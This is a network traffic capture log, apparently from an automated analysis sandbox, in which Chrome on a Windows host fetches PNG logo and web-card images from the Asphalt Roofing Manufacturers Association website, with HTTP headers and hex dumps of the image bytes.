2024-04-23 14:54:35 UTC	736	OUT	GET /wp-content/uploads/2018/09/ARMA_ARMA-Excellence-Logo-300x147.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
2024-04-23 14:54:36 UTC	516	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:35 GMT Content-Type: image/png Content-Length: 4573 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 14:55:41 GMT ETag: "1e2180e-11dd-5d9f2863cd540" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:54:36 UTC	4573	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 00 93 08 03 00 00 00 03 48 d4 53 00 00 00 48 50 4c 54 45 2c 22 21 4c 2a 27 75 5c 5a 32 10 0c 60 16 0c 00 00 00 a7 a9 ad 72 1f 15 00 00 00 71 1e 14 4e 0e 02 74 20 16 00 00 00 a7 a9 ad 74 20 16 4c 0c 02 00 00 00 fe fd fd a9 a9 ac ab 75 71 74 20 16 5a 13 09 4c 0c 02 00 00 00 a0 4f 33 e7 00 00 00 11 74 52 4e 53 00 08 15 1e 42 47 5b 67 7f 98 bf c2 d4 d9 e8 ef f3 bf a4 e4 de 00 00 11 33 49 44 41 54 78 da ed 5d 8b 96 a2 ba 12 a5 12 02 e1 10 e8 dc 1e 69 ff ff 4f ef aa 47 5e 28 0a 8a dd da 6d d6 cc 08 12 40 b6 bb 76 55 2a 15 a7 aa de ed dd 7e ae a9 ce 76 f8 e7 8e d6 9e bb 6c 83 4d 15 7b f4 8e 5a 3c 5c ee c1 33 82 a5 3f be be be a6 c3 3d ad 3b 73 d9 e6 13 db 20 7b c3 67 68 c3 40 98 34 f4 4e c3 47 a1 Data Ascii: PNGIHDR,HSHPLTE,"!L'u\Z2`rqNt t Luqt ZLO3tRNSBG[g3IDATx]iOG^(m@vU~vlM{Z<\3?=;s {gh@4NG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
326	192.168.2.6	50144	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:35 UTC	983	OUT	GET /wp-content/uploads/2023/08/WebCard1_InTheNeighborhood.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/excellence/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0
2024-04-23 14:54:36 UTC	517	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:36 GMT Content-Type: image/png Content-Length: 20639 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 02 Aug 2023 12:14:22 GMT ETag: "6020c5-509f-601ef9a99aa4d" Accept-Ranges: bytes Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:54:36 UTC	7675	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 20 00 00 03 e8 04 03 00 00 00 d4 e5 87 82 00 00 00 2d 50 4c 54 45 52 1b 15 ff ff ff 6b 29 22 6f 24 1c 68 2c 26 51 1e 19 03 03 03 d2 d1 d1 8c 8c 8c 50 50 50 2c 2c 2c af ad ad 82 5b 57 72 70 70 a8 86 83 62 15 de 41 00 00 50 2d 49 44 41 54 78 da ec 9d cf 6f dc 36 16 c7 d5 26 44 51 c4 2d 22 ac 03 a3 b0 e3 c3 78 e6 6e 8c 31 f7 64 e0 41 80 60 11 28 ae 88 05 64 27 7f c3 1a d8 62 0f 6d 0e fd 0f 76 ff 81 3d 45 f7 78 b1 41 2f 45 e1 16 09 7a e9 06 9b 62 83 5e 16 45 5d 24 e8 a1 ff c4 4a a4 a4 21 45 52 3f 29 91 d2 3c 3a 40 9c a1 24 5b fc e4 fb 1e df e3 2f e7 c8 8e 32 9f d8 5b a6 c7 3d 16 a7 f3 96 ae 56 8e 0e 2a 15 00 62 99 42 0e 00 08 28 04 14 02 0a 01 85 80 42 40 21 a0 10 00 02 0a 01 85 00 10 50 08 28 04 80 80 Data Ascii: PNGIHDR -PLTERk)"o$h,&QPPP,,,[WrppbAP-IDATxo6&DQ-"xn1dA`(d'bmv=ExA/Ezb^E]$J!ER?)<:@$[/2[=V*bB(B@!P(
2024-04-23 14:54:36 UTC	8192	IN	Data Raw: 46 86 1f ce 8d 2c cb 70 e1 c6 b8 19 20 85 1b 03 37 8b 2d dc 08 17 48 e5 c6 d9 cd c5 14 6a 0c 4c b1 0f e1 46 c1 ee d3 2c cf 27 3f 24 79 66 bc 23 3b 9b 50 48 06 d6 50 43 93 fc 4b e4 e1 11 7f 3c ad 2f 01 4d 4b be 56 dc a0 a5 27 48 5f 97 e5 9a 3e cd a1 2d c8 e9 e0 8f 21 6f ef b2 0a 5b fd 9b 0a c2 76 0a 8d 75 98 60 05 51 ff 05 a5 9e dc 41 9d 92 aa 7a e7 34 8d 31 48 a4 32 3a a8 43 1f fc 75 5c e0 50 d3 fa 12 32 95 a6 de 3d c8 e3 35 17 73 6c 07 75 57 90 c6 9d ae f1 b0 eb 09 82 b9 38 82 24 ed 41 bd 2d 88 0c ea fe 53 7e 73 41 d6 d6 ec dd 52 5b 89 fd fe 80 e3 99 da 8a 95 6b f6 ce d9 54 aa 7c 07 94 54 46 cd 5e 73 35 cc d4 61 4c 6f 7f 09 f5 46 74 6d ea 79 c3 b4 98 68 ae a6 62 6e 89 20 9c 93 e7 88 ba 2c 08 9a cf 9e d9 eb 09 82 45 12 b3 97 eb a0 d5 bf 99 20 bf e8 ed 4a Data Ascii: F,p 7-HjLF,'?$yf#;PHPCK</MKV'H_>-!o[vu`QAz41H2:Cu\P2=5sluW8$A-S~sAR[kT\|TF^s5aLoFtmyhbn ,E J
2024-04-23 14:54:36 UTC	4772	IN	Data Raw: 88 28 85 82 25 13 68 2b 37 d6 b9 08 2d a2 f9 a7 5c bc c4 df 5c 3a 01 19 71 6b 05 86 d2 de 0d 20 ba ce 9d 15 66 76 5a ba fe bd 78 50 05 72 ec e0 74 a8 23 9d 8b c3 a4 73 71 ba e7 ed 44 b8 55 3a 3b 6e 23 eb 36 0a 64 c0 ee 0c 10 9a fb 5b 67 50 d5 29 10 b5 9a f2 96 4c 10 16 96 40 61 91 3f b5 69 fd 6d 93 8a 97 b4 87 5c d3 f9 41 ea 37 9e bc ec 03 fc 6d 6f af fd cd fc 77 d7 a7 fd 3b 09 76 d3 ee f7 08 e4 c8 c1 e9 50 6c 41 e5 84 58 c5 ee f7 69 73 90 ed b8 fb bd 74 76 52 e7 f1 36 0a a4 19 6d 48 88 b5 6a 4b 82 b3 82 f1 16 dd 02 f9 8a 97 37 4d b9 d8 5c d6 42 a6 02 f9 6c 20 97 95 2b 54 20 9f 0d a4 a9 40 2a 90 0a a4 02 a9 40 2a 90 ab 58 2a 90 0a a4 2e 15 48 05 52 97 0a a4 02 79 dd f2 4a d7 86 6c c9 c6 6e 67 e3 9c ce 19 1a 38 bc 7b cd d6 5f 62 ae 9c 2e 81 84 b7 ce 5f 10 Data Ascii: (%h+7-\\:qk fvZxPrt#sqDU:;n#6d[gP)L@a?im\A7mow;vPlAXistvR6mHjK7M\Bl +T @@X*.HRyJlng8{_b._

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
327	192.168.2.6	50146	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:36 UTC	984	OUT	GET /wp-content/uploads/2023/08/WebCard2_CommericlaMixedUse.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/excellence/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
2024-04-23 14:54:36 UTC	517	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:36 GMT Content-Type: image/png Content-Length: 31868 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 02 Aug 2023 12:14:26 GMT ETag: "6020e2-7c7c-601ef9acfaecb" Accept-Ranges: bytes Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:54:36 UTC	7675	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 20 00 00 03 e8 04 03 00 00 00 d4 e5 87 82 00 00 00 30 50 4c 54 45 ff ff ff e5 e5 e5 ca ca ca a8 a8 a7 89 89 89 89 6d 6b 71 71 71 51 51 51 60 37 32 60 36 32 65 30 2a 49 28 24 30 30 30 4c 23 1f 15 15 15 00 00 00 3d 5a 16 81 00 00 7c 07 49 44 41 54 78 da ec bd 7f 6c 6b d7 75 e7 bb f9 c3 52 8a ea 09 44 d2 5e a7 98 3b ba 74 da c6 2d 90 58 74 8a 17 cf bc f1 44 4c 13 34 33 68 e7 32 2f 8e 81 b6 46 00 3a 2d ea 7f 0c 93 b6 83 cc 1f 33 ef b2 7d 48 80 f6 05 03 4c 83 17 a0 92 11 e0 fd 53 60 78 1f 02 74 9a 04 93 1b e1 02 72 12 74 fe 29 cc 36 69 d0 d8 82 00 c9 31 ae ff 31 44 5c 89 20 ff 11 78 06 7b ed b5 d6 de eb fc 20 0f 25 1e f2 48 da 27 8e 2d f2 fc da e7 7c b8 d7 5e 67 9f fd dd 5f 75 f7 92 2f dd 69 cb ce b6 fe Data Ascii: PNGIHDR 0PLTEmkqqqQQQ`72`62e0*I($000L#=Z\|IDATxlkuRD^;t-XtDL43h2/F:-3}HLS`xtrt)6i11D\ x{ %H'-\|^g_u/i
2024-04-23 14:54:36 UTC	8192	IN	Data Raw: 4d 35 4e 44 c8 fa f2 50 15 fb 4d a7 30 6e 79 6d 81 06 77 ea aa 75 ba d5 54 5b 83 c5 00 19 b7 95 5a 1f 00 10 88 3a 54 dd 8f f5 f9 9f 18 28 55 84 d4 53 a9 c6 71 c5 01 b2 a9 2f 6a f3 54 02 a1 4d d7 c7 74 47 8a 3a 40 e9 7f e9 0b be 79 8a 40 3a fa 44 5b 47 66 6d 69 7c aa 54 eb 75 fd f5 a1 2a 8f 75 bd e8 e8 30 d3 a9 3a 40 36 a8 34 1d d8 7f 8f 81 94 74 6d 28 29 b5 f9 b6 fc 6c b2 7b 5d 03 56 75 81 8e 5f 57 6a 6d 20 80 f4 6b 4a 35 0e 6d 61 64 79 b9 40 67 47 9a d9 3b 4a ad 8c 16 04 a4 62 ee 70 a3 ad 5a ee f3 97 fe f1 e8 67 00 fc 54 51 8d 81 fb 1c 02 3f c2 52 b8 0d c1 4d d7 cf e8 28 ab 50 e1 10 72 79 68 80 e8 cd a1 8d 58 85 6b 6c 9c aa 22 fc 42 d7 06 f0 43 57 6a 73 4f a9 c2 b1 5b 4e b8 6b e5 b1 2a 42 81 de 6f 43 16 b5 34 c0 b0 70 cc 9f cd ae 50 27 7a 75 7b 95 0e 90 Data Ascii: M5NDPM0nymwuT[Z:T(USq/jTMtG:@y@:D[Gfmi\|Tuu0:@64tm()l{]Vu_Wjm kJ5mady@gG;JbpZgTQ?RM(PryhXkl"BCWjsO[NkBoC4pP'zu{
2024-04-23 14:54:36 UTC	8192	IN	Data Raw: 54 0e 3d e2 11 2e 4f 6f 2c 2d c6 66 54 d5 cf 0c c4 f5 00 63 f7 2b d0 9e ad 0c 43 cf 73 5b ed 38 20 75 d7 c8 63 2b 5c 43 18 48 cd 39 d0 da 49 e8 40 a4 9f 23 77 0f 07 88 18 8c b5 d5 66 20 d6 dd 4b 48 d1 22 65 94 43 e9 d7 4e 1c 20 76 43 b6 46 23 1d 1f 88 f7 f4 a0 e4 5e 4d 85 2c c6 4a a3 6c 81 b8 53 bd b3 fb 15 7c bb 36 70 80 a0 4e 2d 06 08 0a c1 7a b5 30 10 94 bc 21 90 2a 1e a8 f8 c2 f8 4f d6 4e 43 07 22 fd 1c 0a 3e dc 36 84 64 b1 6c c4 85 40 ac 55 0e 4b d1 62 cb c8 e5 a2 33 e3 37 68 fa 85 1b d5 65 39 d8 5d cc 9a 33 b2 c5 18 e9 f7 16 01 84 cd 96 cc e8 fd 13 0b 84 74 6a 49 40 0e ad ec c9 a6 bd 46 f2 16 02 a2 13 96 71 18 08 c9 b5 b0 4b c4 05 42 e3 36 d9 88 0b 81 58 33 29 2a 41 7c 19 ad 1c 0b cf 6c ca 43 a6 5f ee 46 8e 6c 8c 67 f5 07 2f 40 e9 68 85 fa bd e5 02 Data Ascii: T=.Oo,-fTc+Cs[8 uc+\CH9I@#wf KH"eCN vCF#^M,JlS\|6pN-z0!ONC">6dl@UKb37he9]3tjI@FqKB6X3)A\|lC_Flg/@h
2024-04-23 14:54:36 UTC	7809	IN	Data Raw: ea 3a 19 dd a9 ab 47 f5 13 19 dc 5e 92 ad c1 89 ad 94 8e 7c c1 e0 5b 15 71 1a 63 87 b3 44 20 eb 23 61 85 66 d3 2f 7d 1c a9 95 a3 8b 20 d1 2d 95 36 33 20 31 9d 8b 02 08 e9 d9 0a fd e0 84 e5 6b ec b0 a5 65 67 56 24 a6 cc 17 ac 85 53 eb a6 26 08 cf 30 61 2b a6 73 2f 9c 83 0a 81 e8 6d 07 f4 7b a7 7e 3e 38 b1 ed 5c e4 e3 51 2f a5 74 1a 73 3b 17 e3 81 94 41 5d 67 3b 17 69 05 1c 47 6a e5 e8 22 08 08 95 36 3b 20 ba 2f 5b 76 bf 0b 20 ac 67 fb 44 f0 0a cb d7 d8 61 4b cb ce 44 f7 3b 7c 41 5a 38 3e a6 eb 19 e6 da 8a 81 17 97 ee 8f ff a2 1d 41 f1 94 e3 ff 45 b2 35 38 71 a4 fb 1d bf 8d 3a 8d 39 dd ef f1 40 0a d8 a3 42 dd ef dc da 43 79 84 56 8e 2e 82 65 e9 58 da 0c 81 9c 63 49 6b c6 b1 f1 70 c6 03 67 32 79 e3 05 17 73 11 fd da c2 07 39 64 00 64 66 17 95 3c 02 31 17 f1 Data Ascii: :G^\|[qcD #af/} -63 1kegV$S&0a+s/m{~>8\Q/ts;A]g;iGj"6; /[v gDaKD;\|AZ8>AE58q:9@BCyV.eXcIkpg2ys9ddf<1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
328	192.168.2.6	50150	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:36 UTC	979	OUT	GET /wp-content/uploads/2023/08/WebCard3_Craftsmanship.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/excellence/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
2024-04-23 14:54:36 UTC	517	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:36 GMT Content-Type: image/png Content-Length: 21194 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 02 Aug 2023 12:14:34 GMT ETag: "6020e9-52ca-601ef9b47298a" Accept-Ranges: bytes Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:54:36 UTC	7675	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 20 00 00 03 e8 08 03 00 00 00 11 15 6a 83 00 00 00 ba 50 4c 54 45 c7 bb b8 71 59 57 9a 84 80 90 82 81 6d 52 4e 8c 80 7e 4e 38 36 ff ff ff fa f6 f2 ef ee ee e9 e5 e5 dd dd dc dd da d9 cf cd cd cf c7 c6 bb bb bb c1 b8 b7 b7 ab aa aa aa aa ab 9d 9c 99 99 99 a2 92 90 9c 90 8f 99 8f 8e 9c 86 80 96 85 82 91 85 84 88 88 88 89 80 7d 8e 7b 7a 86 73 74 77 77 77 7e 74 73 83 72 70 86 6a 67 7e 65 63 7b 63 62 76 65 64 7a 5f 5d 66 66 66 6b 56 53 68 4f 4e 55 55 55 62 4e 4b 5e 4b 49 65 47 42 57 41 3f 5a 3e 3b 5c 3b 37 44 44 44 5d 38 33 48 3f 39 4e 3a 41 4f 38 36 51 35 32 52 33 2f 42 30 2e 45 2c 29 33 33 33 22 22 22 11 11 11 00 00 00 8b 6e 35 b7 00 00 00 07 74 52 4e 53 fb fb fc fd fd fe fe d8 a6 ed 2c 00 00 51 b8 49 Data Ascii: PNGIHDR jPLTEqYWmRN~N86}{zstwww~tsrpjg~ec{cbvedz_]fffkVShONUUUbNK^KIeGBWA?Z>;\;7DDD]83H?9N:AO86Q52R3/B0.E,)333"""n5tRNS,QI
2024-04-23 14:54:36 UTC	8192	IN	Data Raw: 93 a0 5d 6d 0f b7 f0 cc 0b 8e f0 90 f2 9d 76 6a 03 62 52 a3 00 49 b0 dc ba d3 31 88 6b 1d b4 ea 5a e2 cc 7a d2 6f 7d a6 4e a7 d8 10 b9 2b e9 ab cc 67 2a e0 b9 b7 02 c4 f5 86 5a c6 ce d6 37 fe 86 c5 c0 72 a3 eb e2 14 f5 7d 0a 1a 2a c5 00 39 d3 89 29 1d 10 9d a0 85 fd 64 19 57 78 c2 9d 2b 3c f0 09 01 92 60 b9 75 af d3 bc 8e 75 d0 4a db 0b e8 83 d6 9b ee c0 78 1b 22 07 10 73 5e b2 f2 6d f2 dc 7b 00 90 b2 6e d0 f6 69 b5 ca 71 af 72 25 5c 9c 22 e7 1d 0e 18 2a 0d 03 72 b6 13 53 32 20 3a 41 c7 23 4c 0f 9e 07 55 42 e1 49 77 ae f1 80 24 58 6e dd ef 42 a1 65 1d b4 f2 18 d4 a4 01 12 b7 21 b2 03 9e 95 a6 e1 50 be 4d 9e 7b 47 00 49 ad 55 ae 7b 95 a8 01 ae 8b d3 30 20 43 86 4a 83 80 9c ef c4 94 0a 88 4e d0 a1 2c 17 7b cb 95 77 44 e1 29 77 ae b3 01 d9 4d 0a 90 ac b7 0e Data Ascii: ]mvjbRI1kZzo}N+gZ7r}9)dWx+<`uuJx"s^m{niqr%\"*rS2 :A#LUBIw$XnBe!PM{GIU{0 CJN,{wD)wM
2024-04-23 14:54:36 UTC	5327	IN	Data Raw: 06 a4 0b 7a df bb ee 05 5f f4 d2 49 2f 66 f6 8d b4 67 d3 be 39 d6 65 5e 6d 8b bd 15 84 b6 6c 12 a9 11 77 32 f5 5c e4 52 dc cd 2b 74 a1 0d 48 97 de a6 24 a3 71 eb b3 77 8c d7 d5 bd 75 b1 b2 be a0 d6 3d 20 1e 77 a2 52 1c 64 ee f1 92 0a 3d 46 ad 6c ed f8 18 0b 48 eb 63 30 3a 16 2a 08 db cb 33 d8 82 68 40 d6 fd 87 a6 31 08 1f f5 ab 93 ee c6 5a 7b 36 19 83 9b 5d df 97 cc 32 9f 65 93 48 cd da eb 99 52 86 0f 9d 0f b8 79 85 2e b4 01 29 dc 47 5d 34 6e 5d f6 8e f2 ba ba db 69 de 4d 9d de 83 e9 7a 2a 77 22 fb 58 e6 83 df e8 40 74 c4 0f ee 69 6d c7 00 76 7d 2e 27 02 b2 d8 ec aa 62 b3 31 99 3d 3a 16 2a 08 7b 1e 4a 02 22 6c 90 56 5e 2b a1 c2 64 51 f8 24 16 5f d2 43 b1 6e fd 9c 8a d2 74 d6 9b 83 2c 9a da e7 f1 50 70 53 23 ee d4 d5 73 f7 7e 71 ab 89 c0 85 0e 20 3b 37 39 Data Ascii: z_I/fg9e^mlw2\R+tH$qwu= wRd=FlHc0:3h@1Z{6]2eHRy.)G]4n]iMzw"X@timv}.'b1=:*{J"lV^+dQ$_Cnt,PpS#s~q ;79

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
329	192.168.2.6	50148	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:36 UTC	743	OUT	GET /wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-BRONZE-300x174.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
2024-04-23 14:54:36 UTC	515	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:36 GMT Content-Type: image/png Content-Length: 5188 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Mon, 31 Jul 2023 19:20:37 GMT ETag: "6020d1-1444-601cd534b7fbd" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:54:36 UTC	5188	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 00 ae 08 03 00 00 00 bb ac c0 20 00 00 00 81 50 4c 54 45 48 2d 2a 26 10 0e 6f 5f 54 6b 1e 14 a7 a9 ac 00 00 00 76 65 4c a7 a9 ac a7 a9 ac d5 d6 d7 a7 a9 ac 76 65 4c 83 73 5d 61 2c 1e 57 12 08 4e 0d 03 73 21 18 74 20 17 4d 0d 03 74 20 17 74 20 17 74 20 17 5e 15 0b 46 12 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 20 17 4e 0d 03 84 3a 32 76 65 4c b4 a4 99 99 8d 7a cd c3 ba dd d9 d3 fe fe fe f0 ec ea 88 57 ea 8c 00 00 00 20 74 52 4e 53 00 0a 23 1d 3c 1c 65 8a d1 ce fe 9a fd f9 fb d4 f9 e0 9b c1 9a 62 40 6e e2 f4 bf d5 9e 84 64 3b d2 6b f9 ea 00 00 13 52 49 44 41 54 78 da ed 9d 09 77 e2 38 12 80 11 c6 03 af c7 af 83 17 cc f3 ed 74 0f c6 0e ff ff 07 ae Data Ascii: PNGIHDR, PLTEH-*&o_TkveLveLs]a,WNs!t Mt t t ^Ft N:2veLzW tRNS#<eb@nd;kRIDATxw8t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
330	192.168.2.6	50147	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:36 UTC	743	OUT	GET /wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-SILVER-300x174.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
2024-04-23 14:54:36 UTC	515	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:36 GMT Content-Type: image/png Content-Length: 5281 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Mon, 31 Jul 2023 19:20:15 GMT ETag: "6020ba-14a1-601cd51fb2fb6" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
